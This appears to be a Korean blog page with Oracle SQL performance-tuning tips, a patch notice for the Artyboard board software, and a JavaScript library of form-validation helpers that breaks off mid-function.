테이블상에 모든 필요한 인덱스는 생성되어야 한다. 하지만 너무 많은 인덱스는 성능을 떨어뜨릴 수 있다. 그러면 어떻게 인덱스를 만들 칼럼을 선택해야 하는가?

*최종 사용자에 의해 사용되는 어플리케이션 SQL과 쿼리의 WHERE 절에서 빈번하게 사용되는 칼럼에 인덱스를 만들어야 한다.

*SQL 문에서 자주 테이블을 JOIN하는데 사용되는 칼럼은 인덱스되어야 한다.

*같은 값을 가지는 ROW가 적은 비율을 가지는 칼럼에 인덱스를 사용하라.

*쿼리의 WHERE 절에서 오직 함수와 OPERATOR로 사용되는 칼럼에는 인덱스를 만들면 안된다.

*자주 변경되거나 인덱스를 만들때 얻는 효율성보다 삽입, 갱신, 삭제로 인해 잃는 효율성이 더 큰 칼럼에는 인덱스를 만들면 안된다. 이러한 OPERATION은 인덱스를 유지하기 위한 필요 때문에 느려진다.

*UNIQUE 인덱스는 더 나은 선택성 때문에 NONUNIQUE 인덱스보다 좋다. PRIMARY KEY 칼럼에 UNIQUE 인덱스를 사용한다. 그리고 FOREIGN KEY 칼럼과 WHERE 절 에서 자주 사용되는 칼럼에는 NONUNIQUE 인덱스를 사용한다.

5.가용한 인덱스 PATH를 만들어라.

인덱스를 사용하기 위해서는 기술한 SQL문을 이용할 수 있는 식으로 SQL을 작성하라. OPTIMIZER는 인덱스가 존재하기 때문에 인덱스를 사용하는 ACESS PATH 를 사용할 수 없다. 따라서 ACCESS PATH는 반드시 SQL이 사용할 수 있게 만들어 져야 한다. SQL HINT를 사용하는 것은 인덱스 사용을 보증해주는 방법중 하나이다. 특정 ACCESS PATH를 선택하기 위한 다음의 힌트를 참고 하라

6.가능하면 EXPLAIN과 TKPROF를 사용하라.

만약 SQL문이 잘 다듬어지지 않았다면 비록 오라클 데이터베이스가 잘 짜여져 있어도 효율성이 떨어질 것이다. 이럴 경우 EXPLAIN TKPROF에 능숙해져야 한다. EXPALIN PLAN은 SQL이 사용하는 ACCESS PATH를 발견할 수 있게 해주고 TKPROF는 실제 PERFORMANEC의 통계치를 보여준다. 이 TOOL은 오라클 서버 소프트웨어에 포함되어 있고 SQL의 성능을 향상시켜 준다.

7.OPTIMIZER를 이해하라.

SQL은 RULE-BASED나 COST-BASED중 하나를 이용해서 기동된다.기존의 소프트웨어는 RULE BASED 방식을 채택하고 있다. 그리고 많은 오라클 소프트웨어가 이러한 방식을 오랫동안 사용해 왔다. 그러나 새로 출시된 소프트웨어에 대해서는 COST BASED 방식의 OPTIMIZER를 고려해야 한다. 오라클은 새로 출시되는 프로그램을 COST BASED방식으로 업그레이드 시켜왔으며 이러한 방식은 시스템을 훨씬 더 안정적으로 만들었다. 만약 COST BASED방식의 OPTIMIZER를 사용한다면 반드시 ANALYZE 스키마를 정기적으로 사용해야 한다. ANALYZE스키마는 데이터베이스 통계를 데이터 사전 테이블에 기록하는 역할을 수행하며 그렇게 되면 COST BASED OPTIMIZER가 그것을 사용하게 된다. SQL은 COST BASED OPTIMIZER를 사용할 때만 잘 조정될 수 있다. 만약
RULE BASED에서 COST BASED로 바꾸고 싶다면 데이터베이스를 사용하는 모든 소프트웨어의 모든 SQL문의 성능을 평가해 보아야 한다.

8.지엽적으로 동작하더라도 전역적으로 생각하라

항상 주의할 것은 하나의 SQL문을 조정하기 위해 생긴 데이터베이스안의 변화는 다른 응용프로그램이나 다른 사용자가 이용하는 다른 명령문에 영향을 미친다는 사실이다.

9.WHERE절은 매우 중요하다.

비록 인덱스가 가용하다고 해도 다음의 WHERE 절은 그 인덱스 ACCESS PATH 를 사용하지 않는다.(즉 COL1 과 COL2는 같은 테이블에 있으며 인덱스는 COL1에 만들어진다.)

COL1 > COL2
COL1 < COL2
COL1 > = COL2
COL1 <= COL2
COL1 IS NULL
COL1 IS NOT NULL.


인덱스는 NULL값을 갖는 칼럼에는 ROWID를 저장하지 않는다. 따라서 NULL값을 갖는 ROW를 검색할 때는 인덱스를 사용하지 못한다.

COL1 NOT IN (VALUE1, VALUE2 )
COL1 != EXPRESSION
COL1 LIKE ''%PATTERN''.

이럴 경우 THE LEADING EDGE OF THE INDEX(?) 는 작동되지 않고 인덱스가 사용되지 못하게 한다. 한편 COL1 LIKE ''PATTERN %''이나 COL1 LIKE ''PATTERN % PATTERN%'' 는 한정된 인덱스 스캔을 수행하기 때문에 인덱스를 사용할 수 있다.

NOT EXISTS SUBQUERY
EXPRESSION1 = EXPRESSION2.


인덱스된 컬럼을 포함하는 표현(EXPRESSION), 함수, 계산(CALCULATIONS)은 인덱스를 사용하지 못한다. 다음의 예에서 보면 UPPER SQL 함수를 사용하면 인덱스 스캔을 사용할 수 없고 FULL TABLE SCAN으로 끝나고 만다.

SELECT DEPT_NAME
FROM DEPARTMENT
WHERE UPPER(DEPT_NAME) LIKE ''SALES%'';


10.레코드 필터링을 위해서는 HAVING보다는 WHERE를 사용하라.

인덱스가 걸려있는 칼럼에는 GROUP BY와 같이 HAVING절을 사용하지 마라. 이 경우 인덱스는 사용되지 않는다. 또한 WHERE절로 된 ROW를 사용하지 마라. 만약 EMP테이블이 DEPTID컬럼에 인덱스를 가지고 있다면 다음 질의는 HAVING 절을 이용하지 못한다.

SELECT DEPTID,
SUM(SALARY)
FROM EMP
GROUP BY DEPTID
HAVING DEPTID = 100;

그러나 같은 질의가 인덱스를 사용하기 위해 다시 씌여질 수 있다.

SELECT DEPTID,
SUM(SALARY)
FROM EMP
WHERE DEPTID = 100
GROUP BY DEPTID;


11. WHERE 절에 선행 INDEX 칼럼을 명시하라.

복합 인덱스의 경우, 선행 인덱스가 WHERE절에 명시되어 있다면 쿼리는 그 인덱스 를 사용할 것이다. 다음의 질의는 PART_NUM과 PRODUCT_ID 칼럼 에 있는 PRIMARY KEY CONSTRAINT에 기초한 복합 인덱스를 이용할 것이다.

SELECT * FROM PARTS WHERE PART_NUM = 100;

반면, 다음의 쿼리는 복합인덱스를 사용하지 않는다.

SELECT * FROM PARTS WHERE PRODUCT_ID = 5555;

같은 요청(REQUEST)이 인덱스를 이용하기 위해 다시 씌어 질 수 있다. 다음 질의의 경우, PART_NUM컬럼은 항상 0 보다 큰 값을 가질것이다.

SELECT * FROM PARTS WHERE PART_NUM > 0 AND PRODUCT_ID = 5555;

12.인덱스 SCAN과 FULL TABLE SCAN을 평가하라.

한 행(ROW)의 15% 이상을 검색하는 경우에는 FULL TABLE SCAN이 INDEX ACESS PATH보다 빠르다. 이런 경우, SQL이 FULL TABLE SCAN을 이용할 수 있도록 여러분 스스로 SQL을 작성하라. 다음의 명령문은 비록 인덱스가 SALARY COLUMN에 만들어져 있어도 인덱스 SCAN을 사용하지 않을 것이다. 첫 번째 SQL 에서, FULL HINT를 사용한다면 오라클은 FULL TABLE SCAN을 수행할 것이다. 인덱 스의 사용이 나쁜 점이 더 많다면 아래의 기술을 이용해서 인덱스 수행을 막을
수 있다.

SELECT * --+FULL FROM EMP WHERE SALARY = 50000;
SELECT * FROM EMP WHERE SALARY+0 = 50000;

다음의 명령문은 비록 인덱스가 SS# COLUMN에 있어도 인덱스 SCAN을 사용하지 않을 것이다.

SELECT * FROM EMP WHERE SS# || '' '' = ''111-22-333'';

오라클이 불분명한 데이터 변환을 수행해야 하는 경우 인덱스가 항상 사용되지 않는 것은 아니다. 다음의 예를 보면, EMP 칼럼에 있는 SALARY는 숫자형 칼럼이고 문자형이 숫자값으로 변환된다.

SELECT * FROM EMP WHERE SALARY = ''50000'';

테이블의 행이 15%이거나 그보다 작을 경우 인덱스 스캔은 보다 잘 수행 될 것이다. 왜냐 하면 인덱스 스캔은 검색된 행(ROW)하나 하나 마다 다중의 논리적인 읽기 검색(READ)을 할 것이기 때문이다. 그러나 FULL TABLE SCAN은 하나의 논리적인 읽기 검색 영역 안의 BLOCK에 있는 모든 행들을 읽을 수 있다. 그래서 테이블의 많은 행들에 접근해야 하는 경우에는 FULL TABLE SCAN이 낫다. 예로 다음의 경우를 보자. 만약 EMP TABLE과 그 테이블의 모든 인덱스에 대해 ANALYZE라
는 명령어가 수행된다면, 오라클은 데이터 사전인 USER_TABLES와 USER_INDEXES에 다음과 같은 통계치를 산출해 낸다.

TABLE STATISTICS:
NUM_ROWS = 1000
BLOCKS = 100

INDEX STATISTICS:

BLEVEL = 2
AVG_LEAF_BLOCKS_PER_KEY = 1
AVG_DATA_BLOCKS_PER_KEY = 1


이러한 통계치 에 근거해서, 아래에 보이는 것이 각각의 다른 SCAN에 대한 논리
적인 읽기(READ)-즉 ACESS된 BLOCK이 될 것이다.

USE OF INDEX TO RETURN ONE ROW = 3

(BLEVEL+(AVG_LEAF_BLOCKS_PER_KEY - 1) + AVG_DATA_PER_KEY

FULL TABLE SCAN = 100
(BLOCKS)


USE OF INDEX TO RETURN ALL ROWS = 3000
(NUM_ROWS * BLOCKS ACCESSED TO RETURN ONE ROW USING INDEX)


13. 인덱스 스캔에 ORDER BY를 사용하라.

오라클의 OPTIMIZER는 , 만약 ORDER BY라는 절이 인덱스된 칼럼에 있다면 인덱스 스캔을 사용할 것이다. 아래의 질의는 이러한 점을 보여 주는 것인데 이 질의는 비록 그 칼럼이 WHERE 절에 명시되어 있지 않다고 해도 EMPID컬럼에 있는 가용한 인덱스를 사용할 것이다. 이 질의는 인덱스로부터 각각의 ROWID를 검색하고 그 ROWID를 사용하는 테이블에 접근한다.

SELECT SALARY FROM EMP ORDER BY EMPID;

만약 이 질의가 제대로 작동하지 않는다면, 당신은 위에서 명시되었던 FULL HINT 를 사용하는 같은 질의를 다시 작성함으로써 다른 대안들을 이용해 볼 수 있다.

14. 자신의 데이터를 알아라

내가 이미 설명한 것처럼, 당신은 당신의 데이터를 상세하게 알고 있어야 한다.
예를 들어 당신이 BOXER라는 테이블을 가지고 있고 그 테이블이 유일하지 않은 인덱스를 가진 SEX라는 컬럼과 BOXER_NAME이라는 두 개의 테이블을 가지고 있다고 가정해 보자. 만약 그 테이블에 같은 수의 남자, 여자 복서가 있다면 오라클이 FULL TABLE SCAN을 수행하는 경우 다음의 질의가 훨씬 빠를 것이다.

SELECT BOXER_NAME FROM BOXER WHERE SEX = ''F'';

당신은 다음과 같이 기술함으로써 질의가 FULL TABLE SCAN을 수행하는지를 확실 하게 해 둘 수 있다.

SELECT BOXER_NAME --+ FULL FROM BOXER WHERE SEX = ''F'';

만약 테이블에 980 명의 남성 복서 데이터가 있다면, 질의는 인덱스 SCAN으로 끝나기 때문에 아래형식의 질의가 더 빠를 것이다.

SELECT BOXER_NAME --+ INDEX (BOXER BOXER_SEX) FROM BOXER


WHERE SEX = ''F'';

이 예는 데이터의 분포에 대해 잘 알고 있는 것이 얼마나 중요한 가를 예시해 준다. 데이터가 많아지고(GROW) 데이터 분포가 변화하는 것처럼 SQL 도 매우 다양할 것이다. 오라클은 OPTIMIZER 가 테이블에 있는 데이터의 분포를 잘 인식하고 적절한 실행 계획을 선택하도록 하기 위해 오라클 7.3 에 HISTOGRAMS라는 기능을 추가했다.

15. KNOW WHEN TO USE LARGE-TABLE SCANS.

작거나 큰 테이블에서 행들을 추출할 때, 전체 테이블의 검색은 인텍스를 사용한 검색보다 성능이 더 좋을 수도 있다. 매우 큰 테이블의 인덱스 검색은 수많은 인덱스와 테이블 블록의 검색이 필요할수도 있다. 이러한 블록들이 데이터베이스 버퍼 캐쉬에 이동되면 가능한한 오래도록 그곳에 머무른다. 그래서 이러한 블록들이 다른 질의등에 필요하지 않을 수도 있기 때문에, 데이터베이스 버퍼 히
트 비율이 감소하며 다중 사용자 시스템의 성능도 저하되기도 한다. 그러나 전체 테이블 검색에 의해서 읽혀진 블록들은 데이터베이스 버퍼 캐쉬에서 일찍 제 거가 되므로 데이터베이스 버퍼 캐쉬 히트 비율은 영향을 받지 않게 된다.

16. MINIMIZE TABLE PASSES.

보통, SQL질의시 참조하는 테이블의 숫자를 줄임으로 성능을 향상시킨다. 참조
되는 테이블의 숫자가 적을수록 질의는 빨라진다. 예를 들면 NAME, STATUS,
PARENT_INCOME, SELF_INCOME의 네개의 컬럼으로 이루어진 학생 테이블
에서 부모님에 의존하는 학생과 독립한 학생의 이름과 수입에 대해서 질의시, 이
학생 테이블을 두번 참조하여 질의하게 된다.



SELECT NAME, PARENT_INCOME FROM STUDENT WHERE STATUS = 1
UNION


SELECT NAME, SELF_INCOME FROM STUDENT WHERE STATUS = 0;



( NAME이 프라이머리 키이며, STATUS는 독립한 학생의 경우는 1, 부모님에
의존적인 학생은 0으로 표시한다)
위의 같은 결과를 테이블을 두번 참조하지 않고도 질의 할 수 있다.

SELECT NAME,PARENT_INCOME*STATUS + SELF_INCOME(1-STATUS)
FROM STUDENT;


17. JOIN TABLES IN THE PROPER ORDER.

다수의 테이블 조인시 테이블들의 조인되는 순서는 매우 중요하다. 전반적으로, 올바른 순서로 테이블이 조인되었다면 적은 수의 행들이 질의시 참조된다. 언제나 다수의 조인된 테이블들을 질의시 우선 엄격하게 조사하여 행들의 숫자를 최대한으로 줄인다. 이러한 방법으로 옵티마이저는 조인의 차후 단계에서 적은 행들을 조사하게 된다. 뿐만 아니라, 여러 조인을 포함하는 LOOP JOIN에서는 가장 먼저 참조되는 테이블(DRIVING TABLE)이 행들을 최소한으로 리턴하도록 해야 한다. 그리고, 마스터와 상세 테이블 조인시에는(예를 들면 ORDER & ORDER LINE ITEM TABLES) 마스터 테이블을 먼저 연결 시켜야 한다.



규칙에 근거한 옵티마이저의 경우에는 FROM CLAUSE의 마지막 테이블이 NESTED LOOP JOIN의 DRIVING TABLE이 된다. NESTED LOOP JOIN이 필요한 경우에는 LOOP의 안쪽의 테이블에는 인텍스를 이용하는 것을 고려할 만하다. EXPLAIN PLAN과 TKPROF는 조인 타입, 조인 테이블 순서, 조인의 단계별 처리된 행들 의 숫자들을 나타낸다.



비용에 근거한 옵티마이저의 경우에는 WHERE CLAUSE에 보여지는 테이블의 순서는 옵티마이저가 가장 최적의 실행 계획을 찾으려고 하는 것과 상관 없다. 조인되는 테이블의 순서를 통제하기 위해서 ORDERED HINT를 사용하는 것이 낫다.

SELECT ORDERS.CUSTID, ORDERS.ORDERNO,
ORDER_LINE_ITEMS.PRODUCTNO --+ORDERED
FROM ORDERS, ORDER_LINE_ITEMS
WHERE ORDERS.ORDERNO = ORDER_LINE_ITEMS.ORDERNO;


18. USE INDEX-ONLY SEARCHES WHEN POSSIBLE.

가능하다면, 인덱스만을 이용하여 질의를 사용하라. 옵티마이저는 오직 인덱스만을 찾을 것이다. 옵티마이저는 SQL을 만족시키는 모든 정보를 인덱스에서 찾을 수 있을 때, 인덱스만을 이용할 것이다. 예를들면, EMP테이블이 LANME과 FNAME의 열에 복합 인덱스를 가지고 있다면 다음의 질의는 인덱스만은 이용할 것이다.

SELECT FNAME FROM EMP WHERE LNAME = ''SMITH'';

반면에 다음의 질의는 인덱스와 테이블을 모두 참조한다.

SELECT FNAME , SALARY FROM EMP WHERE LNAME = ''SMITH'';

19. REDUNDANCY IS GOOD.

WHERE CLAUSE에 가능한한 많은 정보를 제공하라. 예를 들면 WHERE COL1 = COL2 AND COL1 = 10이라면 옵티마이저는 COL2=10이라고 추론하지만, WHERE COL1 = COL2 AND COL2 = COL3이면 COL1=COL3이라고 초론하지는 않는다.

20. KEEP IT SIMPLE, STUPID.

가능하면 SQL문을 간단하게 만들라. 매우 복잡한 SQL문은 옵티마이저를 무력화시킬 수도 있다. 때로는 다수의 간단한 SQL문이 단일의 복잡한 SQL문보다 성능이 좋을 수도 있다. 오라클의 비용에 근거한 옵티마이저는 아직은 완벽하지 않다. 그래서 EXPLAIN PLAN에 주의를 기울여야 한다. 여기서 비용이란 상대적인 개념이기에 정확히 그것이 무엇을 의미하는지 알지 목한다. 하지만 분명한 것은 적은 비용이 보다 좋은 성능을 의미한다는 것이다.



종종 임시 테이블을 사용하여 많은 테이블들을 포함하는 복잡한 SQL 조인을 쪼개는 것이 효율적일 수도 있다. 예를 들면, 조인이 대량의 데이터가 있는 8개의 테이블을 포함할 때, 복잡한 SQL을 두 세개의 SQL로 쪼개는 것이 낫을 수 있다. 각각의 질의는 많아야 네개정도의 테이블들을 포함하며 그 중간 값을 저장 하는 것이 낫을 수 있다.

21. YOU CAN REACH THE SAME DESTINATION IN DIFFERENT WAYS.

많은 경우에, 하나 이상의 SQL문은 의도한 같은 결과를 줄 수 있다. 각각의 SQL은 다른 접근 경로를 사용하며 다르게 수행한다. 예를들면, MINUS(-) 산술자는 WHERE NOT IN (SELECT ) OR WHERE NOT EXISTS 보다 더 빠르다.


예를들면, STATE와 AREA_CODE에 각각 다른 인덱스가 걸려 있다. 인덱스에도 불구하고 다음의 질의는 NOT IN의 사용으로 인해 테이블 전체를 조사하게 된다.



SELECT CUSTOMER_ID FROM CUSTOMERS WHERE STATE IN (''VA'', ''DC'', ''MD'')
AND AREA_CODE NOT IN (804, 410);


그러나 같은 질의가 다음 처럼 쓰여진다면 인덱스를 사용하게 된다.



SELECT CUSTOMER_ID FROM CUSTOMERS WHERE STATE IN (''VA'', ''DC'', ''MD'')
MINUS SELECT CUSTOMER_ID FROM CUSTOMERS WHERE AREA_CODE IN (804, 410);

WHERE절에 OR을 포함한다면 OR대신에 UNION을 사용할 수 있다. 그래서, SQL 질의를 수행하기 전에 먼저 실행계획을 조심스럽게 평가해야 한다. 이러한 평가는 EXPLAIN PLAN AND TKPROF를 이용하여 할 수 있다.

22. USE THE SPECIAL COLUMNS.

ROWID AND ROWNUM 열을 이용하라. ROWID를 이용하는 것이 가장 빠르다.
예를들면, ROWID를 이용한 UPDATE는 다음과 같다.

SELECT ROWID, SALARY INTO TEMP_ROWID, TEMP_SALARY FROM EMPLOYEE;

UPDATE EMPLOYEE SET SALARY = TEMP_SALARY * 1.5


WHERE ROWID = TEMP_ROWID;

ROWID값은 데이터베이스에서 언제나 같지는 않다. 그래서, SQL이나 응용 프로그램이용시 ROWID값을 절대화 시키지 말라. 리턴되는 행들의 숫자를 제한시키기위해 ROWNUM을 이용하라. 만약에 리턴되는 행들을 정확히 모른다면 리턴되는 행들의 숫자를 제한하기위해 ROWNUM을 사용하라
다음의 질의는 100개 이상의 행들을 리턴하지는 않는다.



SELECT EMPLOYE.SS#, DEPARTMENT.DEPT_NAME
FROM EMPLOYEE, DEPENDENT
WHERE EMPLOYEE.DEPT_ID = DEPARTMENT.DEPT_ID
AND ROWNUM < 100;


23.함축적인 커서대신 명시적인 커서를 사용하라.

함축적 커서는 여분의 FETCH를 발생시킨다. 명시적 커서는 DECLARE, OPEN, FETCH와 CLOSE CURSOR문을 사용하여 개발자에 의해서 생성된다. 함축 커서는 DELETE, UPDATE, INSERT와 SELECT문을 사용하면 오라클에 의해서 생성된다.

24.오라클 병렬 쿼리 옵션을 찾아서 이용하라.

병렬 쿼리 옵션을 사용하면, 보다 빠른 성능으로 SQL을 병렬로 실행할 수 있다.
오라클 7에서는, 오직 FULL TABLE SCAN에 기반한 쿼리만이 병렬로 수행될 수 있다.
오라클 8에서는, 인덱스가 분할되어있다면 INDEXED RANGE SCANS에 기반한 쿼리도 병렬로 처리될 수 있다. 병렬 쿼리 옵션은 다수의 디스크 드라이버를 포함하는 SMP와 MPP SYSTEM에서만 사용될 수 있다.

오라클 서버는 많은 우수한 특성을 가지고 있지만, 이러한 특성의 존재만으로는 빠른 성능을 보장하지 않는다. 이러한 특성을 위해서 데이터베이스를 조정해야하며 특성을 이용하기 위해 특별하게 SQL을 작성해야 한다. 예를 들면, 다음의 SQL은 병렬로 수행될 수 있다.

SELECT * --+PARALLEL(ORDERS,6) FROM ORDERS;

25. 네트웍 소통량을 줄이고 한번에 처리되는 작업량을 늘려라.

ARRAY PROCESSING과 PL/SQL BLOCK을 사용하면 보다 나은 성능을 얻을 수 있고 네트웍 소통량을 줄인다. ARRAY PROCESSING은 하나의 SQL문으로 많은 ROW를 처리할 수 있게 한다. 예를 들면, INSERT문에서 배열을 사용하면 테이블내의 1,000 ROW를 삽입할 수 있다. 이러한 기술을 사용하면 주요한 성능 향상을 클라이언트/서버와 배치시스템에서 얻어질 수 있다.

복합 SQL문은 과도한 네트웍 소통을 유발할 수 있다. 그러나 만일 SQL문이 단일 PL/SQL 블록안에 있다면, 전체 블록은 오라클 서버에 보내져서 그곳에서 수행되고, 결과는 클라이언트의 APPLICATION에게 돌아온다.

개발자와 사용자는 종종 SQL을 데이터베이스에서 데이터를 검색하고 전송하는 간단한 방법으로 사용한다. 때때로 직접적으로 SQL을 작성하지 않고 코드 발생기를 사용하여 작성한 APPLICATION은 심각한 성능 문제를 일으킨다. 이러한 성능감퇴는 데이터베이스가 커지면서 증가한다.

SQL은 유연하기 때문에, 다양한 SQL문으로 같은 결과를 얻을 수 있다. 그러나 어떤 문은 다른 것보다 더 효율적이다. 여기에 기술된 팁과 기법을 사용하면 빠르게 사용자에게 정보를 제공할 수 있는 APPLICATION과 리포트를 얻을 수 있다.

2009/08/07 21:56 2009/08/07 21:56

안녕하세요! 웹아티 회원님.
언제나 저희 웹아티 서비스를 이용해 주셔서 감사합니다.



아티보드를 2009년 6월 8일자 버전까지 패치를 하셔서 사용하시거나, 6월 8일자 버전을 신규로 설치하신 분들은 패치 버전을 다운 받으셔서 패치를 하시고 처음 설치 하는 분들은 전체 버전을 다운 받아 메뉴얼을 참고하셔서 설치하시기 바랍니다.



아티보드 전체 버전 : ArtyboardV20_20090805_Full.zip
아티보드 패치 버전 : ArtyboardV20_20090805_Patch.zip



[다운로드]


1. ArtyboardV20_20090805_Patch.zip 파일을 다운받아 압축을 해제합니다.
2. 서버와 동일한 경로로 압축이 해제된 파일을 서버에 덮어 씌웁니다.


업데이트 안내는 여기를 클릭하셔서 확인하시기 바랍니다.

좋은 하루 되시기 바랍니다.

2009/08/05 11:36 2009/08/05 11:36

<script type="text/javascript">

//최상위 체크 로직(chars로 넘긴 값이 있다면 true)
function containsCharsOnly(input,chars) {
    for (var inx = 0; inx < input.value.length; inx++) {
        if (chars.indexOf(input.value.charAt(inx)) == -1)
            return false;
    }
    return true;
}

//최상위 체크 로직(chars로 넘긴 값이 있다면 false)
function containsChars(input,chars) {
    for (var inx = 0; inx < input.value.length; inx++) {
        if (chars.indexOf(input.value.charAt(inx)) != -1)
            return true;
     }
     return false;
}

// 숫자 체크
function isNum(input) {
    var chars = "0123456789";
    return containsCharsOnly(input,chars);
}

//이름체크
function nameCheck(input){
    var chars = '0123456789~!#$%^&*()_-+=|{}[]<>,./?@';
        return containsChars(input,chars);
}

// 전화 번호 Check
function isPhoneCheck(input) {
    var chars = "0123456789( ).-,<>{}[]_~";
        return containsCharsOnly(input,chars);
}

// 영문 판별
function isPhoneCheck(input) {
    var chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
        return containsCharsOnly(input,chars);
}

// 영숫자 판별
function isPhoneCheck(input) {
    var chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        return containsCharsOnly(input,chars);
}

// 입력값이 숫자,대시(-)로 되어있는지 체크
function isNumDash(input) {
    var chars = "-0123456789";
    return containsCharsOnly(input,chars);
}

// 입력값이 숫자,콤마(,)로 되어있는지 체크
function isNumComma(input) {
    var chars = ",0123456789";
    return containsCharsOnly(input,chars);
}

// 입력값이 사용자가 정의한 포맷 형식인지 체크 - regular expression 참조
function isValidFormat(input,format) {
    if (input.value.search(format) != -1) {
        return true; file://올바른 포맷 형식
    }
    return false;
}

/**
 * 입력값이 이메일 형식인지 체크
 * ex) if (!isValidEmail(form.email)) {
 *         alert("올바른 이메일 주소가 아닙니다.");
 *     }
 */
function isValidEmail(input) {
    //var format = /^(\S+)@(\S+)\.([A-Za-z]+)$/;
    var format = /^((\w|[\-\.])+)@((\w|[\-\.])+)\.([A-Za-z]+)$/;
    return isValidFormat(input,format);
}

/**
 * 입력값이 전화번호 형식(숫자-숫자-숫자)인지 체크
 */
function isValidPhone(input) {
    var format = /^(\d+)-(\d+)-(\d+)$/;
    return isValidFormat(input,format);
}

// 콤마 없애기
function removeComma(input) {
    return input.value.replace(/,/gi,"");
}

// 문자 변환 함수
function alterString(str,before,after) {
    var returnStr = "";
    for(i = 0; i < str.length; i++) {
        value = str.charAt(i);
        index = before.indexOf(value);
        if(index >= 0) value = after.charAt(index);
        returnStr += value;
    }
    return returnStr;
}

// 소 --> 대문자 변환 함수
function ToUpper(arg) {
    var str1 = "abcdefghijklmnopqrstuvwxyz";
    var str2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    return alterString(arg,str1,str2);
}

// 대 --> 소문자 변환 함수
function ToLower(arg){
    var str1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    var str2 = "abcdefghijklmnopqrstuvwxyz";
    return alterString(arg,str1,str2);
}

// 반각 문자를 전각문자로
function convert2ByteChar(x_char) {
    var x_2byteChar = ""; //컨버트된 문자
    var c = x_char.charCodeAt(0);
    if(32 <= c && c <= 126) { //전각으로 변환될수 있는 문자의 범위
        if(c == 32) { //스페이스인경우 ascii 코드 32
            x_2byteChar = unescape("%uFFFC");
        } else {
            x_2byteChar = unescape("%u"+gf_DecToHex(c+65248));
        }
    }
    return  x_2byteChar;
}

// 10진수를 16진수로
function gf_DecToHex(x_dec) {
    var x_Hex = new Array();
    var x_serial = 0;
    var x_over16 = x_dec;
    var x_tempNum = 0;
    while(x_dec > 15) {
        var x_h = x_dec % 16; //나머지
        x_dec = parseInt(x_dec/16); //몫
        x_Hex[x_serial++] = (x_h > 9 ? String.fromCharCode(x_h + 55) : x_h); //16진수코드변환
    }

    //마지막은 몫의 값을 가짐
    x_Hex[x_serial++] = (x_dec > 9 ? String.fromCharCode(x_dec + 55) : x_dec); //16진수코드변환

    //몫,나머지,나머지,.....
    var retValue = "";
    for(var i=x_Hex.length ; i>0 ;i--) {
        retValue += x_Hex[i-1];
    }
    return retValue;
}

// input box에 space, &nbsp;등 만으로 넣고 장난 칠때 이들 문자 뺀 길이를 통해 유효성 체크한다...
function CheckStr(strOriginal, strFind, strChange){
    var position, strOri_Length;
    position = strOriginal.indexOf(strFind); 
    while (position != -1) {
        strOriginal = strOriginal.replace(strFind, strChange);
        position = strOriginal.indexOf(strFind);
    }
    strOri_Length = strOriginal.length;
    return strOri_Length;
}

// 체크 박스에 체크가 되어 있으면 true
function checkValidator(str) {
    if(str.checked) return true;
    else return false;
}

// 비밀번호는 4자 등 최대 최소 길이를 파람으로 주고 처리...
function checkLength(str,minLng,maxLng){
    var ckstr = str.value.length;
    if (parseInt(ckstr) < parseInt(minLng) || parseInt(ckstr) > parseInt(maxLng)) return false;
        return true;
}

// 숫자만 받아서 아니면 메세지 보여 주는
function onlyNumber(objEv) {
    if(!isNum(objEv)){
        alert("숫자만 입력가능합니다.");
        objEv.value = "";
        objEv.focus();
        return;
    }
}

// 숫자를 체크하다가 6자 등 원하는 만큼 이동후 다음 input 박스로 이동 시키는...
function goJump(fname, len, goname){
    onlyNumber(fname);
    if (document.all[fname].value.length == len) document.all[goname].focus();
}

// 주민등록번호 체크 로직
function check_ResidentNO(str_f_num,str_l_num){ 
    var i3=0
    for (var i=0;i<str_f_num.length;i++) {
        var ch1 = str_f_num.substring(i,i+1);
            if (ch1<'0' || ch1>'9') i3=i3+1;
    }
    if ((str_f_num == '') || ( i3 != 0 )) return false;
    var i4=0;
    for (var i=0;i<str_l_num.length;i++){
        var ch1 = str_l_num.substring(i,i+1);
        if (ch1<'0' || ch1>'9') i4=i4+1;
    }
    if ((str_l_num == '') || ( i4 != 0 )) return false;
    if(str_f_num.substring(0,1) < 4) return false;
    if(str_l_num.substring(0,1) > 2) return false;
    if((str_f_num.length > 7) || (str_l_num.length > 8)) return false;
    if ((str_f_num == '72') || ( str_l_num == '18'))  return false;

    var f1=str_f_num.substring(0,1)
    var f2=str_f_num.substring(1,2)
    var f3=str_f_num.substring(2,3)
    var f4=str_f_num.substring(3,4)
    var f5=str_f_num.substring(4,5)
    var f6=str_f_num.substring(5,6)
    var hap=f1*2+f2*3+f3*4+f4*5+f5*6+f6*7
    var l1=str_l_num.substring(0,1)
    var l2=str_l_num.substring(1,2)
    var l3=str_l_num.substring(2,3)
    var l4=str_l_num.substring(3,4)
    var l5=str_l_num.substring(4,5)
    var l6=str_l_num.substring(5,6)
    var l7=str_l_num.substring(6,7)
    hap=hap+l1*8+l2*9+l3*2+l4*3+l5*4+l6*5
    hap=hap%11
    hap=11-hap
    hap=hap%10
    if (hap != l7) return false;
    return true;
}

// 바이트 구하기
function getByteLen(str){
    return(str.length+(escape(str)+"%u").match(/%u/g).length-1);
}

// url 가져오기
function getUrlAddress(){
    var pageUrl = document.location;
    pageUrl  = new String(pageUrl);
    return pageUrl.substring(0,pageUrl.lastIndexOf("/"));
}

// 오른마우스 금지, 나중에 해당 주석 풀고 사용
function rightbutton(e){
    if (navigator.appName == 'Netscape' &&  (e.which == 3 || e.which == 2))
        return false;
    else if (navigator.appName == 'Microsoft Internet Explorer' && (event.button == 2 || event.button == 3))
    {
        alert("죄송합니다!! 정보무단복제를 막기 위하여 오른쪽 마우스 사용을 허용하지 않습니다.");
        return false;
    }
    return true;
}
//document.onmousedown=rightbutton;

// 컨트롤 키 금지, 나중에 해당 주석 풀고 사용
function checkCtl() {
    if (document.all){
        if(event.keyCode==17) {
            alert("죄송합니다!! 컨트롤키 사용을 허용하지 않습니다.");
            return false;
        }
    }
}
//document.onkeydown = checkCtl;

function setCookie(name,value) {
    document.cookie = name+"="+escape(value)+";path=/;domain=.kkaok.pe.kr;";
}

function setCookie(name,value, expires) {
    document.cookie = name + "=" + escape(value) +
    "; path=/; expires=" + expires.toGMTString();
}

function getCookie(Name) {
    var search = Name + "="
    if (document.cookie.length > 0) { // 쿠키가 설정되어 있다면
